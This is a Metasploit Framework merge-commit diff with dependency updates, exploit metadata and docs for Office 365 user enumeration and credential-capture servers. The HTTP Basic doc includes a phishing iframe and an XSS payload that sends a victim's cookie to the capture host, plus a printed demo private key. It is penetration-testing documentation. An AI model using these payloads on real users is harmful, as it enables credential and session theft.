Merge branch 'master' of https://github.com/rapid7/metasploit-framework into capture_docs2
commit
8b4cf2c3e2
17
Gemfile.lock
17
Gemfile.lock
|
@ -12,6 +12,7 @@ PATH
|
|||
concurrent-ruby (= 1.0.5)
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
faker
|
||||
filesize
|
||||
jsobfu
|
||||
|
@ -119,6 +120,7 @@ GEM
|
|||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.4)
|
||||
daemons (1.2.6)
|
||||
diff-lcs (1.3)
|
||||
|
@ -126,6 +128,14 @@ GEM
|
|||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
ed25519 (1.2.4)
|
||||
em-http-request (1.1.5)
|
||||
addressable (>= 2.3.4)
|
||||
cookiejar (!= 0.3.1)
|
||||
em-socksify (>= 0.3)
|
||||
eventmachine (>= 1.0.3)
|
||||
http_parser.rb (>= 0.6.0)
|
||||
em-socksify (0.3.2)
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (4.11.1)
|
||||
|
@ -140,6 +150,7 @@ GEM
|
|||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
|
@ -179,7 +190,7 @@ GEM
|
|||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.4.2)
|
||||
method_source (0.9.1)
|
||||
method_source (0.9.2)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
|
@ -211,7 +222,7 @@ GEM
|
|||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.12.0)
|
||||
pry (0.12.2)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.3)
|
||||
|
@ -336,7 +347,7 @@ GEM
|
|||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (0.20.0)
|
||||
thor (0.20.3)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.8)
|
||||
timecop (0.9.1)
|
||||
|
|
|
@ -36139,7 +36139,7 @@
|
|||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2018-07-25 15:13:41 +0000",
|
||||
"mod_time": "2018-11-05 17:49:58 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_login",
|
||||
|
@ -39729,7 +39729,7 @@
|
|||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"mod_time": "2018-11-08 21:23:27 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/http_basic.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/http_basic",
|
||||
|
@ -39836,7 +39836,7 @@
|
|||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"mod_time": "2018-11-08 21:23:27 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/imap.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/imap",
|
||||
|
@ -39906,7 +39906,7 @@
|
|||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2018-04-20 16:34:51 +0000",
|
||||
"mod_time": "2018-11-09 18:32:21 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/mysql.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/mysql",
|
||||
|
@ -60652,7 +60652,7 @@
|
|||
"Automatic",
|
||||
"Windows Powershell"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-10-18 11:24:54 +0000",
|
||||
"path": "/modules/exploits/multi/http/git_client_command_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/git_client_command_exec",
|
||||
|
@ -60690,7 +60690,7 @@
|
|||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2018-09-15 18:54:45 +0000",
|
||||
"mod_time": "2018-10-18 11:24:54 +0000",
|
||||
"path": "/modules/exploits/multi/http/git_submodule_command_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/git_submodule_command_exec",
|
||||
|
@ -60700,6 +60700,46 @@
|
|||
"notes": {
|
||||
}
|
||||
},
|
||||
"exploit_multi/http/git_submodule_url_exec": {
|
||||
"name": "Malicious Git HTTP Server For CVE-2018-17456",
|
||||
"full_name": "exploit/multi/http/git_submodule_url_exec",
|
||||
"rank": 600,
|
||||
"disclosure_date": "2018-10-05",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
|
||||
],
|
||||
"description": "This module exploits CVE-2018-17456, which affects Git\n versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.\n\n When a submodule url which starts with a dash e.g \"-u./payload\" is passed\n as an argument to git clone, the file \"payload\" inside the repository\n is executed.\n\n This module creates a fake git repository which contains a submodule\n containing the vulnerability. The vulnerability is triggered when the\n submodules are initialised (e.g git clone --recurse-submodules URL)",
|
||||
"references": [
|
||||
"CVE-2018-17456",
|
||||
"URL-https://marc.info/?l=git&m=153875888916397&w=2",
|
||||
"URL-https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6",
|
||||
"URL-https://blog.github.com/2018-10-05-git-submodule-vulnerability"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": true,
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2018-11-14 10:57:36 +0000",
|
||||
"path": "/modules/exploits/multi/http/git_submodule_url_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/git_submodule_url_exec",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
}
|
||||
},
|
||||
"exploit_multi/http/gitlab_shell_exec": {
|
||||
"name": "Gitlab-shell Code Execution",
|
||||
"full_name": "exploit/multi/http/gitlab_shell_exec",
|
||||
|
@ -61784,6 +61824,54 @@
|
|||
"notes": {
|
||||
}
|
||||
},
|
||||
"exploit_multi/http/jira_plugin_upload": {
|
||||
"name": "Atlassian Jira Authenticated Upload Code Execution",
|
||||
"full_name": "exploit/multi/http/jira_plugin_upload",
|
||||
"rank": 600,
|
||||
"disclosure_date": "2018-02-22",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Alexander Gonzalez(dubfr33)"
|
||||
],
|
||||
"description": "This module can be used to execute a payload on Atlassian Jira via\n the Universal Plugin Manager(UPM). The module requires valid login\n credentials to an account that has access to the plugin manager.\n The payload is uploaded as a JAR archive containing a servlet using\n a POST request against the UPM component. The check command will\n test the validity of user supplied credentials and test for access\n to the plugin manager.",
|
||||
"references": [
|
||||
"URL-https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/",
|
||||
"URL-https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/",
|
||||
"URL-https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/"
|
||||
],
|
||||
"is_server": true,
|
||||
"is_client": false,
|
||||
"platform": "Java",
|
||||
"arch": "",
|
||||
"rport": 2990,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Java Universal"
|
||||
],
|
||||
"mod_time": "2018-11-13 15:28:55 +0000",
|
||||
"path": "/modules/exploits/multi/http/jira_plugin_upload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/jira_plugin_upload",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
}
|
||||
},
|
||||
"exploit_multi/http/joomla_http_header_rce": {
|
||||
"name": "Joomla HTTP Header Unauthenticated Remote Code Execution",
|
||||
"full_name": "exploit/multi/http/joomla_http_header_rce",
|
||||
|
|
|
@ -0,0 +1,77 @@
|
|||
External python module compatible with v2 and v3.
|
||||
|
||||
Enumerate valid usernames (email addresses) from Office 365 using ActiveSync.
|
||||
Differences in the HTTP Response code and HTTP Headers can be used to differentiate between:
|
||||
|
||||
- Valid Username (Response code 401)
|
||||
- Valid Username and Password without 2FA (Response Code 200)
|
||||
- Valid Username and Password with 2FA (Response Code 403)
|
||||
- Invalid Username (Response code 404 with Header X-CasErrorCode: UserNotFound)
|
||||
|
||||
Note this behaviour appears to be limited to Office365, MS Exchange does not appear to be affected.
|
||||
|
||||
Microsoft Security Response Center stated on 2017-06-28 that this issue does not "meet the bar for security servicing". As such it is not expected to be fixed any time soon.
|
||||
|
||||
This script is maintaing the ability to run independently of MSF.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Office365's implementation of ActiveSync
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Create a file containing candidate usernames (aka email addresses), one per line.
|
||||
2. Do: ```use auxiliary/gather/office365userenum```
|
||||
3. Do: ```set users [USER_FILE]``` with the file you created.
|
||||
4. Do: ```run```
|
||||
5. Valid and Invalid usernames will be printed out to the screen.
|
||||
|
||||
## Options
|
||||
|
||||
LOGFILE = Output file to use for verbose logging.
|
||||
OUTPUT = Output file for results.
|
||||
PASSWORD = Password to use during enumeration. Note this must exist
|
||||
but does not necessarily need to be valid. If it is
|
||||
found to be valid for an account it will be reported.
|
||||
THREADS = Number of concurrent requests to use during enumeration.
|
||||
TIMEOUT = HTTP request timeout to use during enumeration.
|
||||
URL = URL of Office365 ActiveSync service.
|
||||
USERS = Input fie containing candidate usernames, one per line.
|
||||
VERBOSE = Enable/Disable DEBUG logging
|
||||
|
||||
|
||||
## Scenarios
|
||||
The following demonstrates basic usage, using the supplied users wordlist
|
||||
and default options.
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/office365userenum) > set users /home/msfdev/users
|
||||
users => /home/msfdev/users
|
||||
msf5 auxiliary(gather/office365userenum) > run
|
||||
|
||||
[*]
|
||||
|
||||
. .1111... | Title: office365userenum.py
|
||||
.10000000000011. .. | Author: Oliver Morton (Sec-1 Ltd)
|
||||
.00 000... | Email: oliverm@sec-1.com
|
||||
1 01.. | Description:
|
||||
.. | Enumerate valid usernames from Office 365 using
|
||||
.. | ActiveSync.
|
||||
GrimHacker .. | Requires: Python 2.7 or 3.6, python-requests
|
||||
.. |
|
||||
grimhacker.com .. |
|
||||
@grimhacker .. |
|
||||
----------------------------------------------------------------------------
|
||||
This program comes with ABSOLUTELY NO WARRANTY.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions. See GPLv2 License.
|
||||
----------------------------------------------------------------------------
|
||||
|
||||
[+] 401 VALID_USER valid_username@example.com:Password1
|
||||
[-] 404 INVALID_USER invalid_username@example.com:Password1
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## References
|
||||
https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/
|
|
@ -1,4 +1,4 @@
|
|||
This module creates a mock FTP server which accepts and credentials before throwing a `500` error.
|
||||
This module creates a mock FTP server which accepts credentials before throwing a `500` error.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
|
|
@ -0,0 +1,271 @@
|
|||
This module creates a mock web server which, utilizing a HTTP 401 response, prompts the user to enter credentials for Basic Authentication.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/http_basic```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**REALM**
|
||||
|
||||
The Realm for the Basic Authentication, which may be displayed in the input box to the user.
|
||||
Default is `Secure Site`.
|
||||
Some notable Realms to emulate:
|
||||
|
||||
* `level_15 or view_access`
|
||||
* `cPanel`
|
||||
* `HuaweiHomeGateway`
|
||||
* `Broadband Router`
|
||||
|
||||
**RedirectURL**
|
||||
|
||||
After the user enters a set of credentials, their browser will be redirected to this address. Default is ``.
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used, making this HTTPS. HTTPS is typically run on port 443. If `SSLCert` is not set, a certificate
|
||||
will be automatically generated. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
**URIPATH**
|
||||
|
||||
What URI should be utilized to prompt for the Basic Authentication. For instance, you may want this to run on `/cisco` if you use
|
||||
the `REALM` `level_15 or view_access`. Default is ``, which will randomly generate a URIPATH.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Cisco Emulator with wget Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/http_basic
|
||||
msf5 auxiliary(server/capture/http_basic) > set REALM "level_15 or view_access"
|
||||
REALM => level_15 or view_access
|
||||
msf5 auxiliary(server/capture/http_basic) > set uripath '/cisco'
|
||||
uripath => /cisco
|
||||
msf5 auxiliary(server/capture/http_basic) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/http_basic) >
|
||||
[*] Using URL: http://0.0.0.0:80/cisco
|
||||
[*] Local IP: http://10.1.1.1:80/cisco
|
||||
[*] Server started.
|
||||
[*] Sending 401 to client 127.0.0.1
|
||||
[+] 127.0.0.1 - Credential collected: "cisco:cisco" => /cisco
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# wget http://cisco:cisco@127.0.0.1:80/cisco
|
||||
--2018-11-05 19:44:29-- http://cisco:*password*@127.0.0.1/cisco
|
||||
Connecting to 127.0.0.1:80... connected.
|
||||
HTTP request sent, awaiting response... 401 Unauthorized
|
||||
Authentication selected: Basic realm="level_15 or view_access"
|
||||
Reusing existing connection to 127.0.0.1:80.
|
||||
HTTP request sent, awaiting response... 404 Not Found
|
||||
2018-11-05 19:44:29 ERROR 404: Not Found.
|
||||
```
|
||||
|
||||
### HTTPS with Self-Signed Certificate and curl Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||
[*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||
|
||||
Generating a RSA private key
|
||||
............+++++
|
||||
.+++++
|
||||
writing new private key to 'key.pem'
|
||||
-----
|
||||
You are about to be asked to enter information that will be incorporated
|
||||
into your certificate request.
|
||||
What you are about to enter is what is called a Distinguished Name or a DN.
|
||||
There are quite a few fields but you can leave some blank
|
||||
For some fields there will be a default value,
|
||||
If you enter '.', the field will be left blank.
|
||||
-----
|
||||
Country Name (2 letter code) [AU]:
|
||||
State or Province Name (full name) [Some-State]:
|
||||
Locality Name (eg, city) []:
|
||||
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
|
||||
Organizational Unit Name (eg, section) []:
|
||||
Common Name (e.g. server FQDN or YOUR name) []:
|
||||
Email Address []:
|
||||
msf5 > cat key.pem certificate.pem > selfsigned.pem
|
||||
[*] exec: cat key.pem certificate.pem > selfsigned.pem
|
||||
|
||||
msf5 > cat /root/metasploit-framework/selfsigned.pem
|
||||
[*] exec: cat /root/metasploit-framework/selfsigned.pem
|
||||
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCmniuSmx1h57hK
|
||||
XxBCfCOfsfJatMEtsrTHFCC0GDvIIHGot8oniVKes7yK0w8GSr0LeJgH23QMf/N0
|
||||
SZlF6BRc0GELAC7qPa9VJ8HPYYVbO/VaqXMy83y7YuSh6QlP/DksHt0W0rfvcM36
|
||||
ypHiZ3LIbaz8VuAUyIU5Qa6G+TNvwClhQnaX3TLN0kk31pAwwuSRNvSYvmUih4HA
|
||||
eN29IJyoiXH+GEjw7wBbm9dkbU1DI71zSZyO/Tfi/2SwDwaTKCucW7tUEd9ey6AU
|
||||
5hB6jGpc9N7rMYqV82mLogsXGaRDWh/tt9hghGWAX3MfD7EebQqYr4vQssoisU62
|
||||
ct4DtCrNAgMBAAECggEAJ8ZohnYLHJ0xjGeHPSffZTcYsPiniR45M7ElYXjLhKni
|
||||
GDHPy4Jnu8UShF2AH7Nlz8A5It8LpBRDbQZI1bxiaAnCsNqZWIfjPEPia3xPVolI
|
||||
uBztiENCCoXAKLq142dFyrePdexVxo46Td1f2Blz+E7eVdrzYWLBEvsQC96fndRx
|
||||
8j6KT17tIhGz+9+87dwVUXiiBZTzeWRf94jofek3XWADlu6QjAd3qW944ljYyB7p
|
||||
+cJGwod5xFUxRdAr12RN+VIuzyP6xUXkfBQImdT3E0nR8LWwb4FcjwrCtCNEEYqU
|
||||
/CEBx8rm0qt7mBLiIjTq5+clfKKbd1XOXmGn7+7A7QKBgQDdoJl7NBcpBtLMC1kY
|
||||
KK78kar+nWS5am9H/3o76+sRmQGOCjRg9TyQBmqGkxb7en/m/xZzmS0QxbLCbChj
|
||||
nOgFn9owQKQ4a2FPiNHQ1BQ7F44E+B4j+1auS7VnpbzhPgyOwmZcDoRn5h+FeNwW
|
||||
Xma/o+a78rp53eTzG9Hy8lFMwwKBgQDAdX8h8Us1d34a/GuFljUBe5iJNo1giqgq
|
||||
X8R2BCshvQWoT2wz3YX4FRBKMZKdfwLfbRxK1bzW7BinpgoNR6NV0lor75BgQiCJ
|
||||
nztUMCfDAkxwCgXZjR20OS106G/SRjRgLtYkdDhmfynyy2MSAKhmVaLxBa57VlXD
|
||||
ZE2G4jdxLwKBgQCu1oReGnDu77AaQhWOJoItQ+lmpdoRH/McFGJkpS+zmUYNvOUn
|
||||
XC/j2vvsoFswFqqSG8ild0CDC8OC93pBY0XzMfEZwdULoUKKUQBcwwIWv/VM3ERC
|
||||
1IPESnuYgbpo4t9bO+cuVlGD+ZoCXJ8bkmtyYaWjvc/4VeHJG7hb9WfHqwKBgAe5
|
||||
L17nVgNRRkhC9PWpb3sdwKNRAx9qsRDyQuoRhMGX2lBEz6zNKQEppzuy/ZVAcZcR
|
||||
w97k8O0XEG455ZFe3JknFeNJe9vBC5k6QKFCRXY382VToaR3W0fOO5rDcSlZE+UA
|
||||
PCu+Vj0WwVIzA0jHqfphWWaeub/NWSe8MLhG/76VAoGBALTnftXB/b45xkgNEIZ3
|
||||
7WOsfvGo23tlXSQdCNNOn6YKptqYX88jeihcKEvGoIBH+LfV/GfD2P1d227kHyBZ
|
||||
FoZ+2dUwVXO2UP5j3WlxBleOqk0rTbIri/Pj4oCajAR4pXDIviUD+bUFojyFaysj
|
||||
It3LYabipjgG3NjDxYBMyJnt
|
||||
-----END PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDazCCAlOgAwIBAgIUXlRMetgIkrPIiamQGIBKbcEuT1IwDQYJKoZIhvcNAQEL
|
||||
BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
|
||||
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0xODExMDYwMDQ2NDFaFw0xOTEx
|
||||
MDYwMDQ2NDFaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw
|
||||
HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB
|
||||
AQUAA4IBDwAwggEKAoIBAQCmniuSmx1h57hKXxBCfCOfsfJatMEtsrTHFCC0GDvI
|
||||
IHGot8oniVKes7yK0w8GSr0LeJgH23QMf/N0SZlF6BRc0GELAC7qPa9VJ8HPYYVb
|
||||
O/VaqXMy83y7YuSh6QlP/DksHt0W0rfvcM36ypHiZ3LIbaz8VuAUyIU5Qa6G+TNv
|
||||
wClhQnaX3TLN0kk31pAwwuSRNvSYvmUih4HAeN29IJyoiXH+GEjw7wBbm9dkbU1D
|
||||
I71zSZyO/Tfi/2SwDwaTKCucW7tUEd9ey6AU5hB6jGpc9N7rMYqV82mLogsXGaRD
|
||||
Wh/tt9hghGWAX3MfD7EebQqYr4vQssoisU62ct4DtCrNAgMBAAGjUzBRMB0GA1Ud
|
||||
DgQWBBR+MfL8LopA4OaIRLGK1gof3u+PIDAfBgNVHSMEGDAWgBR+MfL8LopA4OaI
|
||||
RLGK1gof3u+PIDAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBe
|
||||
IGmZr3wlO32b25qj/4qB7ewukwF6uaS4OQh4VLlUk8uYsqoGfvehAaNNJsu1oKO5
|
||||
XpShHeyEkpwzgx0mdCmQSB3JKseFYuZTgP9GP00EXuHYl2V+quPFN17fq0AgYN6K
|
||||
TFDwzYbhWyFGz7k++i23w0/dwvL2dLH+bgdHYU49rhlZIAu7PgbyIuhP+M2ltcjt
|
||||
NDO8po38u2ba52E56abfg0ZlFBqsua2s1TPHIyQ9iovTPMg1E5UTTGebaN6/BaMh
|
||||
Oj6N43ld9EONST6BhP3v1buoWHi1FMouocrUkUDuahiHoLlK4ERSUrb4uNnwko24
|
||||
WdNCCmA8APA1qf2BYVqs
|
||||
-----END CERTIFICATE-----
|
||||
msf5 > use auxiliary/server/capture/http_basic
|
||||
msf5 auxiliary(server/capture/http_basic) > set ssl true
|
||||
ssl => true
|
||||
msf5 auxiliary(server/capture/http_basic) > set srvport 443
|
||||
srvport => 443
|
||||
msf5 auxiliary(server/capture/http_basic) > set sslcert /root/metasploit-framework/selfsigned.pem
|
||||
sslcert => /root/metasploit-framework/selfsigned.pem
|
||||
msf5 auxiliary(server/capture/http_basic) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/http_basic) >
|
||||
[*] Using URL: https://0.0.0.0:443/4w0tML
|
||||
[*] Local IP: https://192.168.2.117:443/4w0tML
|
||||
[*] Server started.
|
||||
[+] 127.0.0.1 - Credential collected: "admin:password123" => /4w0tML
|
||||
```
|
||||
|
||||
Clients:
|
||||
|
||||
```
|
||||
root@kali:~# curl -k --user admin:password123 https://127.0.0.1/4w0tML
|
||||
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||||
<html><head>
|
||||
<title>404 Not Found</title>
|
||||
</head><body>
|
||||
<h1>Not Found</h1>
|
||||
<p>The requested URL was not found on this server.</p>
|
||||
<hr>
|
||||
<address>Apache/2.2.9 (Unix) Server at Port 443</address>
|
||||
</body></html>
|
||||
```
|
||||
|
||||
### HTML Injection Social Engineering
|
||||
|
||||
In this scenario, we're able to inject HTML (but not script) into a website. We'll inject an `iframe`
|
||||
that will load our basic authentication website. This payload will pop-up a login box, with the REALM (title)
|
||||
set to the website, which will hopefully trick a user into entering their credentials.
|
||||
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
|
||||
The HTML was simply edited in the local browser.**
|
||||
|
||||
HTML Payload Injected:
|
||||
|
||||
```html
|
||||
<iframe width="0" height="0" src="http://127.0.0.1/"></iframe>
|
||||
```
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/http_basic
|
||||
msf5 auxiliary(server/capture/http_basic) > set uripath '/'
|
||||
uripath => /
|
||||
msf5 auxiliary(server/capture/http_basic) > set REALM "Wordpress.com Login"
|
||||
REALM => Wordpress.com Login
|
||||
msf5 auxiliary(server/capture/http_basic) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/http_basic) >
|
||||
[*] Using URL: http://0.0.0.0:80/
|
||||
[*] Local IP: http://192.168.2.117:80/
|
||||
[*] Server started.
|
||||
[*] Sending 401 to client 127.0.0.1
|
||||
[+] 127.0.0.1 - Credential collected: "metasploit_blog:ms08-0sK1NG!" => /
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
![Injected Payload](https://user-images.githubusercontent.com/752491/48039039-326e1880-e141-11e8-9971-d9c88081d0df.png)
|
||||
|
||||
### XSS Cookie Theft
|
||||
|
||||
In this scenario, we're able to inject JavaScript into a website. We'll first get the user's cookie, then with jQuery
|
||||
pull the username from the `username` field. Because the cookie may contain fields break URI parsing (like `@`)
|
||||
we use `btoa` to base64 encode the cookie. Next we'll write an `iframe`
|
||||
that will silently attempt a login to our basic authentication website.
|
||||
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
|
||||
The HTML was simply edited in the local browser.**
|
||||
|
||||
Payload:
|
||||
|
||||
```html
|
||||
<script>
|
||||
var cookie = document.cookie;
|
||||
var username = $('#username').text();
|
||||
document.write('<iframe width="0" height="0" src="http://' + username + ':' + btoa(cookie) + '@127.0.0.1/"></iframe>');
|
||||
</script>
|
||||
```
|
||||
|
||||
Sever:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/http_basic
|
||||
msf5 auxiliary(server/capture/http_basic) > set uripath '/'
|
||||
uripath => /
|
||||
msf5 auxiliary(server/capture/http_basic) > set REALM "Login"
|
||||
REALM => Login
|
||||
msf5 auxiliary(server/capture/http_basic) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/http_basic) >
|
||||
[*] Using URL: http://0.0.0.0:80/
|
||||
[*] Local IP: http://192.168.2.117:80/
|
||||
[*] Server started.
|
||||
[*] Sending 401 to client 127.0.0.1
|
||||
[+] 127.0.0.1 - Credential collected: "h00die:R1VDPUFRRUJBUUZicVNGY2owSWVBQVJuJnM9QVFBQUFFUmFpakN4Jmc9VzZmYkdROyB1Y3M9bG5jdD0xNTM3NzI3MjQ4OyBjbXA9dD0xNTQxNDY4ODQ1Jmo9MDsgZmxhc2hfZW5hYmxlZD0wOyBhcGVhZj10ZC1hcHBsZXQtc3RyZWFtPSU3QiUyMnRtcGwlMjIlM0ElMjJpdGVtcyUyMiUyQyUyMmx2JTIyJTNBMTU0MTQ3MDY0NjI4OCU3RDsgSFA9MTsgQj1jN2tvYTYxZDY5dHBzJmI9MyZzPTVy" => /
|
||||
```
|
||||
|
||||
Decoding the cookie:
|
||||
|
||||
```
|
||||
msf5 auxiliary(server/capture/http_basic) > irb
|
||||
[*] Starting IRB shell...
|
||||
[*] You are in auxiliary/server/capture/http_basic
|
||||
|
||||
>> Base64.decode64('R1VDPUFRRUJBUUZicVNGY2owSWVBQVJuJnM9QVFBQUFFUmFpakN4Jmc9VzZmYkdROyB1Y3M9bG5jdD0xNTM3NzI3MjQ4OyBjbXA9dD0xNTQxNDY4ODQ1Jmo9MDsgZmxhc2hfZW5hYmxlZD0wOyBhcGVhZj10ZC1hcHBsZXQtc3RyZWFtPSU3QiUyMnRtcGwlMjIlM0ElMjJpdGVtcyUyMiUyQyUyMmx2JTIyJTNBMTU0MTQ3MDY0NjI4OCU3RDsgSFA9MTsgQj1jN2tvYTYxZDY5dHBzJmI9MyZzPTVy')
|
||||
=> "GUC=AQEBAAFbqSFcj0IeBARn&s=AQADAERaieCx&g=W2fb9Q; ucs=lnct=1537714242; cmp=t=1247468145&j=0; flash_enabled=0; apeaf=td-applet-stream=%7B%22tmpl%22%3A%22items%22%2C%22lv%22%3A1541470698788%7D; HP=1; B=c7koa55d69tbs&b=3&s=5r"
|
||||
```
|
|
@ -0,0 +1,174 @@
|
|||
This module creates a mock IMAP server which accepts credentials.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/imap```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**BANNER**
|
||||
|
||||
The Banner which should be displayed. Default is `IMAP4`.
|
||||
Some notable banners to emulate:
|
||||
|
||||
* `Dovecot ready.`
|
||||
* `IMAP 4 Server (IMail 9.23)`
|
||||
* `mailserver Cyrus IMAP4 v2.2.13-Debian-2.2.13-19 server ready`
|
||||
* `Welcome to Binc IMAP v1.3.4 Copyright (C) 2002-2005 Andreas Aardal Hanssen at 2018-11-08 11:17:35 +1100`
|
||||
* `The Microsoft Exchange IMAP4 service is ready.`
|
||||
* `Microsoft Exchange Server 2003 IMAP4rev1 server versino 6.5.7638.1 (domain.local) ready.`
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used, making this Secure IMAP. Secure IMAP is typically run on port 993. If `SSLCert` is not set, a certificate
|
||||
will be automatically generated. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### IMAP Emulating Microsoft Exchange with Telnet Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/imap
|
||||
msf5 auxiliary(server/capture/imap) > set banner "The Microsoft Exchange IMAP4 service is ready."
|
||||
banner => The Microsoft Exchange IMAP4 service is ready.
|
||||
